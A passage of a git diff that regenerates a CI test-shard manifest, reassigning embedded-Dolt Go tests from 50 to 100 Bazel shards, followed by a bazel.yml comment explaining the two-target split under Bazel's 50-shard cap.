TestEmbeddedReadyConcurrent 20 9 TestEmbeddedRenamePrefixBasic 20 9 TestEmbeddedRenamePrefixEdgeCases @@ -146,14 +125,12 @@ 20 12 TestEmbeddedReopenConcurrent 20 13 TestEmbeddedRestore 20 14 TestEmbeddedRestoreConcurrent -20 15 TestEmbeddedSearch 20 16 TestEmbeddedSearchConcurrent 20 17 TestEmbeddedSetup 20 18 TestEmbeddedSetupConcurrent 20 19 TestEmbeddedShip 20 20 TestEmbeddedShipConcurrent 20 1 TestEmbeddedShowBasicsAndJSON -20 1 TestEmbeddedShowDetailAndCurrent 20 2 TestEmbeddedShowConcurrent 20 3 TestEmbeddedStale 20 4 TestEmbeddedStaleConcurrent @@ -163,7 +140,6 @@ 20 8 TestEmbeddedStatusConcurrent 20 9 TestEmbeddedSupersede 20 10 TestEmbeddedSupersedeConcurrent -20 11 TestEmbeddedSwarm 20 12 TestEmbeddedSwarmConcurrent 20 13 TestEmbeddedTodo 20 14 TestEmbeddedTodoConcurrent @@ -171,8 +147,6 @@ 20 16 TestEmbeddedTypesConcurrent 20 17 TestEmbeddedUndefer 20 18 TestEmbeddedUndeferConcurrent -20 19 TestEmbeddedUpdateFields -20 19 TestEmbeddedUpdateLifecycle 20 20 TestEmbeddedUpdateConcurrent 20 1 TestEmbeddedVCStatusAndCommit 20 1 TestEmbeddedVCCommitVariantsAndMerge @@ -186,14 +160,14 @@ # # Format: # -# 50-shard split for the Bazel-only embedded-Dolt cmd tier +# 100-shard split for the Bazel-only embedded-Dolt cmd tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed # longest-first by measured wall-time from # scripts/ci/embedded_cmd_test_durations.json (see that file for provenance # and its "relative weight, not absolute SLA" caveat) onto the shard # whose estimated wall time grows least: serial tests (no top-level # t.Parallel) add up, parallel ones share -test.parallel=4. -# Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py 50 +# Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py 100 # --weights=duration --write after adding, splitting or removing # TestEmbedded* functions in cmd/bd/*_embedded_test.go. --write is # incremental: it keeps every already-assigned test on its current shard @@ -208,302 +182,407 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -50 1 TestEmbeddedInitA +100 1 TestEmbeddedUpdateConcurrent -50 2 TestEmbeddedGateCreate +100 2 TestEmbeddedShowConcurrent -50 3 TestEmbeddedRoutedMutatingSiblingAssignTagDep +100 3 TestEmbeddedCloseConcurrent -50 4 TestEmbeddedUpdateConcurrent +100 4 TestEmbeddedEpicConcurrent -50 5 TestEmbeddedMaxRowsListLimitInteraction +100 5 TestEmbeddedConfigConcurrent -50 6 TestEmbeddedSwarm +100 6 TestEmbeddedListFilteringBasicAndLabels -50 7 TestEmbeddedDepA +100 7 TestEmbeddedDepConcurrent -50 8 TestEmbeddedDepB +100 8 TestEmbeddedMaxRowsListLimitInteraction -50 9 TestEmbeddedKVConcurrent +100 9 TestEmbeddedChildrenConcurrent -50 10 TestEmbeddedListFiltering +100 10 TestEmbeddedCreateScalarAndRelationships -50 11 TestEmbeddedInitRoleRouting +100 11 TestEmbeddedKVConcurrent -50 12 TestEmbeddedContributorCreate +100 12 TestEmbeddedGatedRendering -50 13 TestEmbeddedInitGitBootstrapRouting +100 13 TestEmbeddedListFilteringStatusAndHierarchy -50 14 TestEmbeddedCloseConcurrent +100 14 TestEmbeddedReopenConcurrent -50 15 TestEmbeddedCloseAlreadyClosed +100 15 TestEmbeddedPurgeWispsPlaneRetention -50 16 TestEmbeddedRoutedSiblingWritesCommitTargetHead +100 16 TestEmbeddedMemoryConcurrent -50 17 TestEmbeddedConfigConcurrent +100 17 TestEmbeddedReopen -50 18 TestEmbeddedGate +100 18 TestEmbeddedLabelPropagateRename -50 19 TestEmbeddedShowDetailAndCurrent +100 19 TestEmbeddedLabelConcurrent -50 20 TestEmbeddedDelete +100 20 TestEmbeddedInitRoleRoutingRetainedFork -50 21 TestEmbeddedBootstrap +100 21 TestEmbeddedMaxRowsReady -50 22 TestEmbeddedUnclaim +100 22 TestEmbeddedCount -50 23 TestEmbeddedBootstrapConcurrent -50 23 TestEmbeddedHooksConcurrent -50 23 TestEmbeddedShowConcurrent +100 23 TestEmbeddedCountConcurrent -50 24 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll -50 24 TestEmbeddedBackupConcurrent -50 24 TestEmbeddedBlocked -50 24 TestEmbeddedComments -50 24 TestEmbeddedCompactMisdatedChild -50 24 TestEmbeddedContextConcurrent -50 24 TestEmbeddedCreateCommitPending -50 24 TestEmbeddedCreateRepoFromNonBeadsCwd -50 24 TestEmbeddedCreateStorageClassBasic -50 24 TestEmbeddedCreateWithGitRemote -50 24 TestEmbeddedFindDuplicatesConcurrent -50 24 TestEmbeddedHistoryConcurrent -50 24 TestEmbeddedHooks -50 24 TestEmbeddedHumanConcurrent -50 24 TestEmbeddedInfoSuppressGitHooks -50 24 TestEmbeddedMigrateConcurrent -50 24 TestEmbeddedOnboard -50 24 TestEmbeddedPromote -50 24 TestEmbeddedQuickstart -50 24 TestEmbeddedWhere +100 24 TestEmbeddedUndeferConcurrent -50 25 TestEmbeddedAdminCompactReadOnlyAllowed -50 25 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber -50 25 TestEmbeddedConfigNoWorkspaceStoreFreeCommands -50 25 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout -50 25 TestEmbeddedCreateGraphAndBulk -50 25 TestEmbeddedDoltRemoteAndPush -50 25 TestEmbeddedGateInheritsDownParentChain -50 25 TestEmbeddedListConcurrent -50 25 TestEmbeddedOnboardConcurrent -50 25 TestEmbeddedPrime -50 25 TestEmbeddedQuickstartConcurrent -50 25 TestEmbeddedRenamePrefixConcurrent -50 25 TestEmbeddedSetup -50 25 TestEmbeddedSetupConcurrent -50 25 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead -50 25 TestEmbeddedUpdateFields -50 25 TestEmbeddedVCCommitVariantsAndMerge -50 25 TestEmbeddedVersion -50 25 TestEmbeddedVersionConcurrent +100 25 TestEmbeddedMaxRowsListBasic -50 26 TestEmbeddedAdminBlocked -50 26 TestEmbeddedBlockedLabelFilters -50 26 TestEmbeddedClaimPools -50 26 TestEmbeddedCompactConcurrent -50 26 TestEmbeddedExportConcurrent -50 26 TestEmbeddedGCConcurrent -50 26 TestEmbeddedGraphConcurrent -50 26 TestEmbeddedPrimeChangeDirPrimesTarget -50 26 TestEmbeddedPrimeConcurrent -50 26 TestEmbeddedReopenConcurrent -50 26 TestEmbeddedTodoConcurrent -50 26 TestEmbeddedTypes -50 26 TestEmbeddedTypesConcurrent +100 26 TestEmbeddedExternalMutationPolicy -50 27 TestEmbeddedBranch -50 27 TestEmbeddedContext -50 27 TestEmbeddedCountIncludeEphemeral -50 27 TestEmbeddedCreateFormCommitsLabelOnlyCreate -50 27 TestEmbeddedFederationConcurrent -50 27 TestEmbeddedGateListScoped -50 27 TestEmbeddedIfRevisionReopenGuardDirect -50 27 TestEmbeddedOrphans -50 27 TestEmbeddedPurgeWispsPlaneRetention -50 27 TestEmbeddedReclaimRunsTheLeaseReclaimerRole -50 27 TestEmbeddedStaleLabelFilters +100 27 TestEmbeddedShipConcurrent -50 28 TestEmbeddedAutoImportJSONLConcurrentWriter -50 28 TestEmbeddedAutoImportJSONLSkipsNonEmpty -50 28 TestEmbeddedBranchConcurrent -50 28 TestEmbeddedCreateConcurrent -50 28 TestEmbeddedEpicCloseEligibleReasonFlag -50 28 TestEmbeddedFederationStatus -50 28 TestEmbeddedLabelAddRemove -50 28 TestEmbeddedPurgeConcurrent -50 28 TestEmbeddedReadyClaimConcurrent -50 28 TestEmbeddedStatus +100 28 TestEmbeddedHistoryConcurrent -50 29 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate -50 29 TestEmbeddedDepConcurrent -50 29 TestEmbeddedFlatten -50 29 TestEmbeddedGetDependencies -50 29 TestEmbeddedImportUpsertAndPrefixSync -50 29 TestEmbeddedInfo -50 29 TestEmbeddedMaxRowsDoctorAndConfig -50 29 TestEmbeddedOrphansConcurrent -50 29 TestEmbeddedRenamePrefixEdgeCases +100 29 TestEmbeddedEpicCloseEligibleReasonFlag -50 30 TestEmbeddedAutoImportJSONLNoExplicitCommit -50 30 TestEmbeddedCreateJSONEchoesSubSecondTimestamps -50 30 TestEmbeddedDepAddWispSource -50 30 TestEmbeddedExportFlags -50 30 TestEmbeddedListComments -50 30 TestEmbeddedPurgeBasics -50 30 TestEmbeddedReadOnlyCommandsSpawnNoGit -50 30 TestEmbeddedReadyConcurrent -50 30 TestEmbeddedRoutedMutatingSiblingDeleteClose +100 30 TestEmbeddedCloseGuardsAndEpics -50 31 TestEmbeddedCreateCrossRepoUninit -50 31 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget -50 31 TestEmbeddedDoltBlockedAndCommit -50 31 TestEmbeddedDoltConcurrent -50 31 TestEmbeddedGatedRendering -50 31 TestEmbeddedImportFromSources -50 31 TestEmbeddedInfoConcurrent -50 31 TestEmbeddedInitB -50 31 TestEmbeddedMigrate +100 31 TestEmbeddedInitSelectedExcludeRoutingForkInvalidQuiet -50 32 TestEmbeddedBackup -50 32 TestEmbeddedExternalCapabilityReadyAfterShip -50 32 TestEmbeddedFederationPeers -50 32 TestEmbeddedLabelConcurrent -50 32 TestEmbeddedMaxRowsReadyMerge -50 32 TestEmbeddedPreviewDoesNotConsumeVersionMarker -50 32 TestEmbeddedRestore -50 32 TestEmbeddedTypesAgreeWithCreate +100 32 TestEmbeddedListSearchAndOutputFormats -50 33 TestEmbeddedBlockedConcurrent -50 33 TestEmbeddedDefer -50 33 TestEmbeddedGC -50 33 TestEmbeddedPruneDryRunAndFilters -50 33 TestEmbeddedPurgeFiltered -50 33 TestEmbeddedQuery -50 33 TestEmbeddedVCConcurrent -50 33 TestEmbeddedWhereConcurrent +100 33 TestEmbeddedBootstrapJSONLAndGitOrigin -50 34 TestEmbeddedCompact -50 34 TestEmbeddedCreateCrossRepoWithParent -50 34 TestEmbeddedCreateRepoRelativeUninitRefused -50 34 TestEmbeddedCreateStorageClassConflicts -50 34 TestEmbeddedDuplicatesConcurrent -50 34 TestEmbeddedEpicCloseEligibleReasonOutput -50 34 TestEmbeddedFlattenConcurrent -50 34 TestEmbeddedOpen_EmptyDatabaseRejected -50 34 TestEmbeddedRestoreConcurrent -50 34 TestEmbeddedUpdateLifecycle +100 34 TestEmbeddedUnclaimBatchAndRefusals -50 35 TestEmbeddedCreateCrossRepo -50 35 TestEmbeddedDeleteJSONDependencyErrorContract -50 35 TestEmbeddedDuplicateConcurrent -50 35 TestEmbeddedInitArtifactRouting -50 35 TestEmbeddedMaxRowsListBasic -50 35 TestEmbeddedStateConcurrent -50 35 TestEmbeddedVCStatusAndCommit +100 35 TestEmbeddedGateCreateBeadRename -50 36 TestEmbeddedAdminCompactTier2Honesty -50 36 TestEmbeddedCloseBasic -50 36 TestEmbeddedConfig -50 36 TestEmbeddedCountConcurrent -50 36 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead -50 36 TestEmbeddedInitConcurrent -50 36 TestEmbeddedLintConcurrent -50 36 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget +100 36 TestEmbeddedGateConcurrent -50 37 TestEmbeddedChangeDirOverridesInheritedBeadsDir -50 37 TestEmbeddedChildren -50 37 TestEmbeddedChildrenConcurrent -50 37 TestEmbeddedCreateCrossRepoDryRunWithParent -50 37 TestEmbeddedCreateStorageClassBatchAndMisc -50 37 TestEmbeddedQueryConcurrent -50 37 TestEmbeddedStaleConcurrent +100 37 TestEmbeddedMaxRowsDepTreeAndDuplicates -50 38 TestEmbeddedCreateDryRunDoesNotMigrate -50 38 TestEmbeddedImportPromotedWispRoundtrip -50 38 TestEmbeddedMaxRowsReady -50 38 TestEmbeddedReady -50 38 TestEmbeddedRenamePrefixBasic -50 38 TestEmbeddedShip -50 38 TestEmbeddedSupersede +100 38 TestEmbeddedGraphConcurrent -50 39 TestEmbeddedDeferAutoWake -50 39 TestEmbeddedEpicConcurrent -50 39 TestEmbeddedGateConcurrent -50 39 TestEmbeddedInitC -50 39 TestEmbeddedKV -50 39 TestEmbeddedLint -50 39 TestEmbeddedPromoteCLI +100 39 TestEmbeddedMaxRowsGraph -50 40 TestEmbeddedCommentsCLI -50 40 TestEmbeddedCommentsCLIConcurrent -50 40 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead -50 40 TestEmbeddedDiffConcurrent -50 40 TestEmbeddedImportConcurrent -50 40 TestEmbeddedSupersedeConcurrent -50 40 TestEmbeddedTodo +100 40 TestEmbeddedUpdateLifecycleClaimParentCommit -50 41 TestEmbeddedHistory -50 41 TestEmbeddedInitSelectedExcludeRoutingFork -50 41 TestEmbeddedListSearchAndOutput -50 41 TestEmbeddedPromoteCLIConcurrent -50 41 TestEmbeddedQuick -50 41 TestEmbeddedUndefer +100 41 TestEmbeddedDuplicateConcurrent -50 42 TestEmbeddedCountIncludeInfra -50 42 TestEmbeddedDuplicate -50 42 TestEmbeddedEpicCloseEligible -50 42 TestEmbeddedInitExplicitBeadsDirIsAuthoritative -50 42 TestEmbeddedQuietFlagSuppressesSuccessOutput -50 42 TestEmbeddedStatusConcurrent +100 42 TestEmbeddedInitAForkAutoContributor -50 43 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected -50 43 TestEmbeddedImportClosedChildWhoseParentWasDeleted -50 43 TestEmbeddedLabelEditReports -50 43 TestEmbeddedShowBasicsAndJSON -50 43 TestEmbeddedState -50 43 TestEmbeddedSwarmConcurrent +100 43 TestEmbeddedInitExplicitBeadsDirIsAuthoritative -50 44 TestEmbeddedFindDuplicates -50 44 TestEmbeddedMaxRowsGraph -50 44 TestEmbeddedMemory -50 44 TestEmbeddedShipConcurrent -50 44 TestEmbeddedShowUnresolvableDeps -50 44 TestEmbeddedSquashWispMoleculeClearsRootEphemeral +100 44 TestEmbeddedStaleConcurrent -50 45 TestEmbeddedCloseGuardsAndEpics -50 45 TestEmbeddedCreateRepoProxiedTargetError -50 45 TestEmbeddedCreateScalarAndRelationships -50 45 TestEmbeddedDuplicates -50 45 TestEmbeddedUndeferConcurrent -50 45 TestEmbeddedUpdateRoutedStoreCommitsTargetHead +100 45 TestEmbeddedGraph -50 46 TestEmbeddedCount -50 46 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge -50 46 TestEmbeddedDepNoCycleCheck -50 46 TestEmbeddedEpicStatus -50 46 TestEmbeddedInitHooksRouting -50 46 TestEmbeddedReopen +100 46 TestEmbeddedCloseAlreadyClosedClaimNextAndMolecule -50 47 TestEmbeddedDiff -50 47 TestEmbeddedGraph -50 47 TestEmbeddedHuman -50 47 TestEmbeddedMemoryCorpusBudget -50 47 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget -50 47 TestEmbeddedQuickConcurrent -50 47 TestEmbeddedSearchConcurrent +100 47 TestEmbeddedListSearchAndOutputSearchAndSort -50 48 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget -50 48 TestEmbeddedExportFormats -50 48 TestEmbeddedLabelPropagateRename -50 48 TestEmbeddedMaxRowsDepTreeAndDuplicates -50 48 TestEmbeddedMemoryConcurrent -50 48 TestEmbeddedSearch +100 48 TestEmbeddedDeferConcurrent -50 49 TestEmbeddedExplicitHierarchicalParentEdges -50 49 TestEmbeddedInitSelectedExcludeRoutingStealth +100 49 TestEmbeddedInitAPushConsentAndRemoteBootstrap -50 50 TestEmbeddedDeferConcurrent -50 50 TestEmbeddedExternalMutationPolicy -50 50 TestEmbeddedGCConditionalMatcherDecode -50 50 TestEmbeddedPruneSafetyAndScope -50 50 TestEmbeddedStale +100 50 TestEmbeddedDiffConcurrent + +100 51 TestEmbeddedInitGitBootstrapRoutingFreshQuiet + +100 52 TestEmbeddedSwarmConcurrent + +100 53 TestEmbeddedInitSelectedExcludeRoutingStealthDecoyQuiet + +100 54 TestEmbeddedSearchConcurrent + +100 55 TestEmbeddedUndefer + +100 56 TestEmbeddedDepNoCycleCheck + +100 57 TestEmbeddedQueryConcurrent + +100 58 TestEmbeddedDepAAddRejectionsAndBulk + +100 59 TestEmbeddedDeferAutoWake + +100 60 TestEmbeddedCommentsCLI + +100 61 TestEmbeddedUpdateRoutedStoreCommitsTargetHead + +100 62 TestEmbeddedReadyBlockersAndLabels + +100 63 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead + +100 64 TestEmbeddedGateWaiterCheckLifecycle + +100 65 TestEmbeddedSupersede + +100 66 TestEmbeddedCloseBasicIsolatedStores + +100 67 TestEmbeddedAdminCompactReadOnlyAllowed +100 67 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber +100 67 TestEmbeddedBootstrapConcurrent +100 67 TestEmbeddedCountIncludeInfra +100 67 TestEmbeddedCreateCommitPending +100 67 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget +100 67 TestEmbeddedCreateRepoFromNonBeadsCwd +100 67 TestEmbeddedCreateRepoRelativeUninitRefused +100 67 TestEmbeddedHooks +100 67 TestEmbeddedOnboard +100 67 TestEmbeddedPrime +100 67 TestEmbeddedPromote +100 67 TestEmbeddedQuickstart +100 67 TestEmbeddedQuickstartConcurrent +100 67 TestEmbeddedWhere +100 67 TestEmbeddedWhereConcurrent + +100 68 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll +100 68 TestEmbeddedBlocked +100 68 TestEmbeddedCompactConcurrent +100 68 TestEmbeddedContext +100 68 TestEmbeddedCreateJSONEchoesSubSecondTimestamps +100 68 TestEmbeddedDoltBlockedAndCommit +100 68 TestEmbeddedDoltConcurrent +100 68 TestEmbeddedInfo +100 68 TestEmbeddedInfoSuppressGitHooks +100 68 TestEmbeddedOrphans +100 68 TestEmbeddedRoutedMutatingSiblingDeleteCloseDelete +100 68 TestEmbeddedSetupConcurrent +100 68 TestEmbeddedTodoConcurrent +100 68 TestEmbeddedTypes + +100 69 TestEmbeddedCompact +100 69 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout +100 69 TestEmbeddedCreateConcurrent +100 69 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate +100 69 TestEmbeddedDuplicatesSharedFixture +100 69 TestEmbeddedGateListScoped +100 69 TestEmbeddedGetDependencies +100 69 TestEmbeddedInfoConcurrent +100 69 TestEmbeddedRenamePrefixConcurrent +100 69 TestEmbeddedRoutedSiblingWritesCommitTargetHeadNote +100 69 TestEmbeddedTypesConcurrent +100 69 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead + +100 70 TestEmbeddedExportConcurrent +100 70 TestEmbeddedFlattenConcurrent +100 70 TestEmbeddedGCDryRunAndSkips +100 70 TestEmbeddedImportConcurrent +100 70 TestEmbeddedImportUpsertAndPrefixSync +100 70 TestEmbeddedLabelAddRemoveMultiAndDuplicate +100 70 TestEmbeddedMemory +100 70 TestEmbeddedMigrateConcurrent +100 70 TestEmbeddedPurgeConcurrent +100 70 TestEmbeddedRoutedMutatingSiblingAssignTagDepTag + +100 71 TestEmbeddedInitRoleRoutingExplicitDefault +100 71 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget + +100 72 TestEmbeddedContributorCreateMultiple +100 72 TestEmbeddedCreateWithGitRemote +100 72 TestEmbeddedFederationConcurrent +100 72 TestEmbeddedGateCreateRepoErrorsList +100 72 TestEmbeddedHumanConcurrent +100 72 TestEmbeddedImportPromotedWispRoundtrip +100 72 TestEmbeddedPrimeChangeDirPrimesTarget +100 72 TestEmbeddedRoutedMutatingSiblingDeleteCloseClose +100 72 TestEmbeddedRoutedSiblingWritesCommitTargetHeadReopen +100 72 TestEmbeddedUpdateFieldsMappingAndRefs + +100 73 TestEmbeddedCompactMisdatedChild +100 73 TestEmbeddedExportFlags +100 73 TestEmbeddedFederationPeers +100 73 TestEmbeddedGateCreateFlags +100 73 TestEmbeddedGateCreateReady +100 73 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget +100 73 TestEmbeddedQuickConcurrent +100 73 TestEmbeddedRenamePrefixBasic +100 73 TestEmbeddedRoutedMutatingSiblingAssignTagDepDepAdd + +100 74 TestEmbeddedBlockedConcurrent +100 74 TestEmbeddedBranch +100 74 TestEmbeddedCountIncludeEphemeral +100 74 TestEmbeddedDepAddWispSource +100 74 TestEmbeddedMigrate +100 74 TestEmbeddedPrimeConcurrent +100 74 TestEmbeddedRestore +100 74 TestEmbeddedVCConcurrent + +100 75 TestEmbeddedCommentsCLIConcurrent +100 75 TestEmbeddedContextConcurrent +100 75 TestEmbeddedFlatten +100 75 TestEmbeddedInitC +100 75 TestEmbeddedListComments +100 75 TestEmbeddedOpen_EmptyDatabaseRejected +100 75 TestEmbeddedReclaimRunsTheLeaseReclaimerRole +100 75 TestEmbeddedRoutedSiblingWritesCommitTargetHeadComment +100 75 TestEmbeddedVCStatusAndCommit + +100 76 TestEmbeddedCloseAlreadyClosedContinue +100 76 TestEmbeddedCloseAlreadyClosedMultipleIDs +100 76 TestEmbeddedExportFormats +100 76 TestEmbeddedGCForceWithDecay +100 76 TestEmbeddedGCFullAndNoForcePrompts +100 76 TestEmbeddedInitAGitOriginRemote +100 76 TestEmbeddedLabelAddRemoveRemove +100 76 TestEmbeddedOnboardConcurrent + +100 77 TestEmbeddedClaimPools +100 77 TestEmbeddedConfigNoWorkspaceStoreFreeCommands +100 77 TestEmbeddedCreateStorageClassConflicts +100 77 TestEmbeddedExternalCapabilityReadyAfterShip +100 77 TestEmbeddedHumanListStatsRespondDismiss +100 77 TestEmbeddedMemoryCorpusBudget +100 77 TestEmbeddedOrphansConcurrent +100 77 TestEmbeddedStatus + +100 78 TestEmbeddedBranchConcurrent +100 78 TestEmbeddedComments +100 78 TestEmbeddedDepBRemove +100 78 TestEmbeddedLabelAddRemoveAdd +100 78 TestEmbeddedShip +100 78 TestEmbeddedUpdateFieldsNotesOverwrite +100 78 TestEmbeddedVCCommitVariantsAndMerge +100 78 TestEmbeddedVersionConcurrent + +100 79 TestEmbeddedCreateCrossRepoUninit +100 79 TestEmbeddedDeleteJSONDependencyErrorContract +100 79 TestEmbeddedEpicCloseEligibleNotEligible +100 79 TestEmbeddedInitABasic +100 79 TestEmbeddedInitBRemoteSchemaAndCloneFailure +100 79 TestEmbeddedRenamePrefixEdgeCases +100 79 TestEmbeddedUpdateFieldsNotesClearAndDefer + +100 80 TestEmbeddedCreateCrossRepoWithParent +100 80 TestEmbeddedCreateFormCommitsLabelOnlyCreate +100 80 TestEmbeddedCreateStorageClassBasic +100 80 TestEmbeddedRoutedMutatingSiblingAssignTagDepAssign +100 80 TestEmbeddedStatusConcurrent +100 80 TestEmbeddedSwarmCreate +100 80 TestEmbeddedSwarmValidate + +100 81 TestEmbeddedAdminCompactTier2Honesty +100 81 TestEmbeddedBackup +100 81 TestEmbeddedDeleteForceAndBatch +100 81 TestEmbeddedGateCreateBeadCheck +100 81 TestEmbeddedGateList +100 81 TestEmbeddedRestoreConcurrent +100 81 TestEmbeddedStaleLabelFilters +100 81 TestEmbeddedStateConcurrent + +100 82 TestEmbeddedCreateCrossRepoDryRunWithParent +100 82 TestEmbeddedDeleteBasic +100 82 TestEmbeddedDepBTreeAndCycles +100 82 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead +100 82 TestEmbeddedHooksConcurrent +100 82 TestEmbeddedImportFromSources +100 82 TestEmbeddedStale + +100 83 TestEmbeddedAdminBlocked +100 83 TestEmbeddedAutoImportJSONLConcurrentWriter +100 83 TestEmbeddedInitBAutoCommitAndJSONLRemote +100 83 TestEmbeddedLabelEditReportsPrefix +100 83 TestEmbeddedMaxRowsDoctorAndConfig +100 83 TestEmbeddedPurgeFiltered +100 83 TestEmbeddedReadyConcurrent + +100 84 TestEmbeddedInitGitBootstrapRoutingDecoyInvalid +100 84 TestEmbeddedInitSelectedExcludeRoutingStealthInvalid + +100 85 TestEmbeddedBootstrapExistingDryRunInit +100 85 TestEmbeddedChildrenBasicAndEmpty +100 85 TestEmbeddedCreateGraphAndBulk +100 85 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected +100 85 TestEmbeddedIfRevisionReopenGuardDirect +100 85 TestEmbeddedInitArtifactRouting + +100 86 TestEmbeddedExplicitHierarchicalParentEdges +100 86 TestEmbeddedInitHooksRouting + +100 87 TestEmbeddedCreateRepoProxiedTargetError +100 87 TestEmbeddedGateInheritsDownParentChain +100 87 TestEmbeddedReadyClaimConcurrent +100 87 TestEmbeddedState +100 87 TestEmbeddedSupersedeConcurrent +100 87 TestEmbeddedSwarmCreateForceAndErrors + +100 88 TestEmbeddedChangeDirOverridesInheritedBeadsDir +100 88 TestEmbeddedDepAAddAndList +100 88 TestEmbeddedKV +100 88 TestEmbeddedMaxRowsReadyMerge +100 88 TestEmbeddedPromoteCLI +100 88 TestEmbeddedUnclaimSuccess + +100 89 TestEmbeddedBackupConcurrent +100 89 TestEmbeddedCreateDryRunDoesNotMigrate +100 89 TestEmbeddedGateShowResolve +100 89 TestEmbeddedInitBStealthAndForceReinit +100 89 TestEmbeddedLabelEditReportsNoop +100 89 TestEmbeddedShowBasicsAndJSON + +100 90 TestEmbeddedAutoImportJSONLSkipsNonEmpty +100 90 TestEmbeddedConfig +100 90 TestEmbeddedFindDuplicatesConcurrent +100 90 TestEmbeddedLabelEditReportsListAndTemplate +100 90 TestEmbeddedLintConcurrent +100 90 TestEmbeddedUpdateLifecycleDefer +100 90 TestEmbeddedVersion + +100 91 TestEmbeddedDuplicate +100 91 TestEmbeddedPreviewDoesNotConsumeVersionMarker +100 91 TestEmbeddedPruneDryRunAndFilters +100 91 TestEmbeddedReadOnlyCommandsSpawnNoGit +100 91 TestEmbeddedShowUnresolvableDeps +100 91 TestEmbeddedTypesAgreeWithCreate + +100 92 TestEmbeddedAutoImportJSONLNoExplicitCommit +100 92 TestEmbeddedDefer +100 92 TestEmbeddedDepAAddTypesAndFlags +100 92 TestEmbeddedEpicCloseEligibleClosesEpics +100 92 TestEmbeddedSetup +100 92 TestEmbeddedSwarmStatusList + +100 93 TestEmbeddedCreateStorageClassBatchAndMisc +100 93 TestEmbeddedDeletePreviewAndGuards +100 93 TestEmbeddedDepBRemoveOutputAndRelatesTo +100 93 TestEmbeddedListConcurrent +100 93 TestEmbeddedPruneSafetyAndScope +100 93 TestEmbeddedShowDetailAndCurrentFlags + +100 94 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget +100 94 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge +100 94 TestEmbeddedEpicCloseEligibleReasonOutput +100 94 TestEmbeddedFederationStatus +100 94 TestEmbeddedGCConcurrent +100 94 TestEmbeddedReadyDefaultJSONAndFlags + +100 95 TestEmbeddedChildrenJSONAndAllStatuses +100 95 TestEmbeddedFindDuplicates +100 95 TestEmbeddedImportClosedChildWhoseParentWasDeleted +100 95 TestEmbeddedInitConcurrent +100 95 TestEmbeddedQuick + +100 96 TestEmbeddedDiff +100 96 TestEmbeddedDuplicatesConcurrent +100 96 TestEmbeddedHistory +100 96 TestEmbeddedShowDetailAndCurrentHistoryAndCurrent +100 96 TestEmbeddedSquashWispMoleculeClearsRootEphemeral + +100 97 TestEmbeddedDuplicatesOwnWorkspaces +100 97 TestEmbeddedHumanPositionalFileAndGuards +100 97 TestEmbeddedPurgeBasics +100 97 TestEmbeddedQuietFlagSuppressesSuccessOutput +100 97 TestEmbeddedSearchStatusLimitSortDatesMetadata + +100 98 TestEmbeddedCloseBasicSharedStore +100 98 TestEmbeddedContributorCreateRoutesToPlanning +100 98 TestEmbeddedGCConditionalMatcherDecode +100 98 TestEmbeddedQuery +100 98 TestEmbeddedTodo + +100 99 TestEmbeddedBlockedLabelFilters +100 99 TestEmbeddedDoltRemoteAndPush +100 99 TestEmbeddedEpicStatus +100 99 TestEmbeddedInitSelectedExcludeRoutingForkDecoyAuto +100 99 TestEmbeddedSearchQueryStatusAssigneeLabels + +100 100 TestEmbeddedContributorCreateShowReadsRouted +100 100 TestEmbeddedCreateCrossRepo +100 100 TestEmbeddedInitGitBootstrapRoutingExistingExplicit +100 100 TestEmbeddedLint +100 100 TestEmbeddedPromoteCLIConcurrent diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index e434e70d3..9e24e688b 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1297,20 +1297,17 @@ jobs: # heaviest shard (scripts/ci/gen_embedded_storage_shard_manifest.py # --weights=duration --repack, on rbe-west measurements) stays near 110s, # under the ~150s per-shard budget with headroom for executor load; its - # heaviest single top-level test is ~90s. cmd (50) sits at Bazel's hard - # cap per sh_test-like rule ("Having more than 50 shards is indicative of - # poor test organization. Please reduce the number of shards." -- a - # native analysis-time error, not a style lint); on rbe-west its shards - # ran 83-209s (6.5k shard-seconds, 2026-10-09) until bdInit seeded each - # workspace from a per-process schema template and the race bd - # subprocesses stopped sleeping 1s at exit (~4.1-4.4k shard-seconds, - # slowest shard ~140-160s, its slowest single tests ~100-130s under - # load), so it, not storage or //internal/httpclient:httpclient_served_test, - # is still this lane's floor. Lowering it further needs per-test speedups - # in its slowest functions; more shards (splitting bd_embedded_test into - # multiple <=50-shard sh_test rules with shard-index-offset plumbing - # through tools/bazel/go_test_manifest_shard.sh and - # check_shard_coverage.py) would not move the slowest single test. On RBE the tier's wall time ~= that floor + # heaviest single top-level test is ~90s. cmd is a 100-shard block split + # over two targets, //cmd/bd:bd_embedded_test (shards 1-50) and + # //cmd/bd:bd_embedded_part2_test (51-100), because Bazel caps a rule at + # 50 shards 